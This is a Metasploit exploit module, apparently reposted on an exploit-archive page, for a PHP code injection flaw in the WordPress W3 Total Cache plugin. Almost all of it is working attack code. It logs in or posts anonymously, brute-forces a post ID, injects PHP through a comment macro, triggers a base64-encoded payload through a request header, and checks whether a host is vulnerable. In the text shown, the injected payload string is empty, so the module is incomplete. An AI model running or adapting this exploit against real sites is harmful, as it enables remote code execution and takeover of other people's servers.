Wordpress W3 Total Cache PHP Code Execution

2013-05-01 16:05:05

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Wordpress W3 Total Cache PHP Code Execution',
'Description' => %q{
This module exploits a PHP Code Injection vulnerability against Wordpress plugin
W3 Total Cache for versions up to and including 0.9.2.8. WP Super Cache 1.2 or older
is also reported as vulnerable. The vulnerability is due to the handling of certain
macros such as mfunc, which allows arbitrary PHP code injection. A valid post ID is
needed in order to add the malicious comment. If the POSTID option isn't specified,
then the module will automatically bruteforce one. Also, if anonymous comments
aren't allowed, then a valid username and password must be provided. In addition,
the "A comment is held for moderation" option on Wordpress must be unchecked for
successful exploitation. This module has been tested against Wordpress 3.5 and
W3 Total Cache 0.9.2.3 on a Ubuntu 10.04 system.
},
'Author' =>
[
'Unknown', # Vulnerability discovery
'juan vazquez', # Metasploit module
'hdm', # Metasploit module
'Christian Mehlmauer' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
[ 'OSVDB', '92652' ],
[ 'BID', '59316' ],
[ 'URL', 'http://wordpress.org/support/topic/pwn3d' ],
[ 'URL', 'http://www.acunetix.com/blog/web-security-zone/wp-plugins-remote-code-execution/' ]
],
'Privileged' => false,
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Payload' =>
{
'DisableNops' => true,
},
'Targets' => [ ['Wordpress 3.5', {}] ],
'DefaultTarget' => 0,
'DisclosureDate' => 'Apr 17 2013'
))

register_options(
[
OptString.new('TARGETURI', [ true, "The base path to the wordpress application", "/wordpress/" ]),
OptInt.new('POSTID', [ false, "The post ID where publish the comment" ]),
OptString.new('USERNAME', [ false, "The user to authenticate as (anonymous if username not provided)"]),
OptString.new('PASSWORD', [ false, "The password to authenticate with (anonymous if password not provided)" ])
], self.class)
end

def peer
return "#{rhost}:#{rport}"
end

def require_auth?
@user = datastore['USERNAME']
@password = datastore['PASSWORD']

if @user and @password and not @user.empty? and not @password.empty?
return true
else
return false
end
end

def get_session_cookie(header)
header.split(";").each { |cookie|
cookie.split(" ").each { |word|
if word =~ /(.*logged_in.*)=(.*)/
return $1, $2
end
}
}
return nil, nil
end

def login
res = send_request_cgi(
{
'uri' => normalize_uri(target_uri.path, "wp-login.php"),
'method' => 'POST',
'vars_post' => {
'log' => @user,
'pwd' => @password
}
})

if res and res.code == 302 and res.headers['Set-Cookie']
return get_session_cookie(res.headers['Set-Cookie'])
else
return nil, nil
end

end

def check_post_id(uri)
options = {
'method' => 'GET',
'uri' => uri
}
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
res = send_request_cgi(options)
if res and res.code == 200 and res.body =~ /form.*action.*wp-comments-post.php/
return true
elsif res and (res.code == 301 or res.code == 302) and res.headers['Location']
location = URI(res.headers["Location"])
uri = location.path
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
return check_post_id(uri)
end
return false
end

def find_post_id
(1..1000).each{|id|
vprint_status("#{peer} - Checking POST ID #{id}...") if (id % 100) == 0
res = check_post_id(normalize_uri(target_uri) + "/?p=#{id}")
return id if res
}
return nil
end

def post_comment
php_payload = ""

vars_post = {
'comment' => php_payload,
'submit' => 'Post+Comment',
'comment_post_ID' => "#{@post_id}",
'comment_parent' => "0"
}
vars_post.merge!({
'author' => rand_text_alpha(8),
'email' => "#{rand_text_alpha(3)}@#{rand_text_alpha(3)}.com",
'url' => rand_text_alpha(8),
}) unless @auth

options = {
'uri' => normalize_uri(target_uri.path, "wp-comments-post.php"),
'method' => 'POST'
}
options.merge!({'vars_post' => vars_post})
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth

res = send_request_cgi(options)
if res and res.code == 302
location = URI(res.headers["Location"])
uri = location.path
uri << "?#{location.query}" unless location.query.nil? or location.query.empty?
return uri
else
return nil
end
end

def exploit

@auth = require_auth?

if @auth
print_status("#{peer} - Trying to login...")
@cookie_name, @cookie_value = login
if @cookie_name.nil? or @cookie_value.nil?
fail_with(Exploit::Failure::NoAccess, "#{peer} - Login wasn't successful")
end
else
print_status("#{peer} - Trying unauthenticated exploitation...")
end

if datastore['POSTID'] and datastore['POSTID'] != 0
@post_id = datastore['POSTID']
print_status("#{peer} - Using the user supplied POST ID #{@post_id}...")
else
print_status("#{peer} - Trying to brute force a valid POST ID...")
@post_id = find_post_id
if @post_id.nil?
fail_with(Exploit::Failure::BadConfig, "#{peer} - Unable to post without a valid POST ID where comment")
else
print_status("#{peer} - Using the brute forced POST ID #{@post_id}...")
end
end

random_test = rand_text_alpha(64)
@sum = Rex::Text.sha1(random_test)

print_status("#{peer} - Injecting the PHP Code in a comment...")
post_uri = post_comment
if post_uri.nil?
fail_with(Exploit::Failure::Unknown, "#{peer} - Expected redirection not returned")
end

print_status("#{peer} - Executing the payload...")
options = {
'method' => 'GET',
'uri' => post_uri,
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded),
'Sum' => random_test
}
}
options.merge!({'cookie' => "#{@cookie_name}=#{@cookie_value}"}) if @auth
res = send_request_cgi(options)
if res and res.code == 301
fail_with(Exploit::Failure::Unknown, "#{peer} - Unexpected redirection, maybe comments are moderated")
end
end

def check
res = send_request_cgi ({
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
})

if res.nil?
return Exploit::CheckCode::Unknown
end

if res.headers['X-Powered-By'] and res.headers['X-Powered-By'] =~ /W3 Total Cache\/([0-9\.]*)/
version = $1
if version <= "0.9.2.8"
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end

if res.body and (res.body =~ /Performance optimized by W3 Total Cache/ or res.body =~ /Cached page generated by WP-Super-Cache/)
return Exploit::CheckCode::Detected
end

return Exploit::CheckCode::Unknown

end
end

Fixes

No fixes

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